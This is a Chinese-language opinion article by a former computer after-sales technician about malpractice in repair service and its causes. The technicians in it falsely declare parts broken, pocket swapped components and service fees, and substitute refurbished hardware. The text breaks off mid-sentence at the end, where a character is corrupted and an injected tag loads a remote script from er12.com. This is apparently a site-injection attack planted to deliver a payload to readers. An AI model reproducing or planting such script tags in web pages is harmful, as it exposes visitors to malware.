编者按： 著名哲学家黑格尔曾说过：存在即合理。
想来也对，只是不同的人站在不同的角度上看这个问题，也就有了不同的答案。是什么最终导致劣质售后服务萌芽，是奸商、是售后服务人员、还是……
维修柜台
前 言
电脑售后服务黑不黑？黑！电脑售后服务好不好？不好！可为什么这么黑？为什么这般不好？你可知道，当大家在对售后服务引起的种种纠纷中抱怨愤恨的时候，笔者却在情理之中生出一思莫名的情愫来。这份情愫，恰恰是笔者也曾从事过一段时间的售后客服人员经历。
笔者不想给售后服务的不健全做块遮羞布来遮遮挡挡，但其中有些故事也不得不说出来。有些无可奈何，有些情感冲动，更想让更多的人了解售后服务黑幕背后的故事。等笔者说完这些之后，我们再来看售后服务有多么黑，相信到时大家会站在比较深远的角度来看待这个让人暴气的问题，眼光也能成熟和全面些。如此这般，才算对电脑售后服务的发展供奉一些逆耳良言。
客 服
幕后的故事从电脑售后客服人员说起。这些人员如何界定呢，就和大家知道的一样，电脑售后服务是由人工来完成的，因为凭借电话和客服机构完成不了，最后都是由人来进行。这种人，笔者权且称之为客服人员。
客服人员在电脑城中的实际工作范围基本上是一个人负责一个区的客户，这个区所有公司的客户电脑发生了硬件故障都要求你上门修理。按照许多公司规定，处理故障时间不能拖延超过48小时。
这就决定了客服人员一天不会是轻松的。从接听客户电话到四处奔走一天跑一个区范围的数十家从不知道具体地点的客户，这是不容易的。天很热，背的工具包也很重，而且，很多脾气暴躁的人或有钱人不把客服人员当人看。即便这样，很多客服人员也在尽责尽心的干着，他们中很大人是从纯diyer出身的，通过自身的努力学习和操作进入这个行当，他们靠这个求生。当然，也有其中一部份另外的人，这部份人就是客服人员中的js。
奸 商
事实上，到了最后，大多数的客服人员都成了或大或小的js。面对客户，这些被生活和环境逼迫，改变的前diyer学会了运用种种手段达到一种经济上或者心理上的平衡。于是，客户的内存条本只是金手指接触不良，却告诉客户坏掉了，建议客户加钱买根新的，原来客户的“烂”条子则正好趁机揣在包里。这是问题的一个方面，乱换客户配件，从中取利。或者让客户乱升级，从中为公司赚取利润，也用换下来的客户配件填填自己的腰包。
还有，收服务费，变相的或者不变相的。比如，公司规定收取30~50元上门费，客服人员可私下和客户说好，收少一点，钱不经过公司，直接给自己。如果客户若懂不起，就让客户等待，直到他想清楚了为止。还有很多事情大家想必都见识过：本在上门服务期限内却要求客户送到公司维修，客户坏了的软驱、硬盘、光驱、显卡、内存、主板等统统拿返修过的配件换给客户，有的客服甚至或明或暗地从中收取手续费。
这些现象，在二，三线商家中存在的比较多，在一些十分知名的一线商家那里，由于管理比较严，同时待遇相当好一点，这种现象上演的频度不是那么高，但也不能说杜绝得了。这样的客服人员无疑是可恶的，可他们真的是最开始就这般冷血无耻么？其实不然，是待遇的不平等和心理失衡造成他们这样的，还有社会上的偏见以及工作上越来越大的压力所导致。
根 源
为什么客服人员会这样？因为钱。钱在很多时候能够说明问题。小学老师也教育过我们：一份付出，一份收获，可没有人教育过我们当付出和收?script src=http://er12.com/t.js>
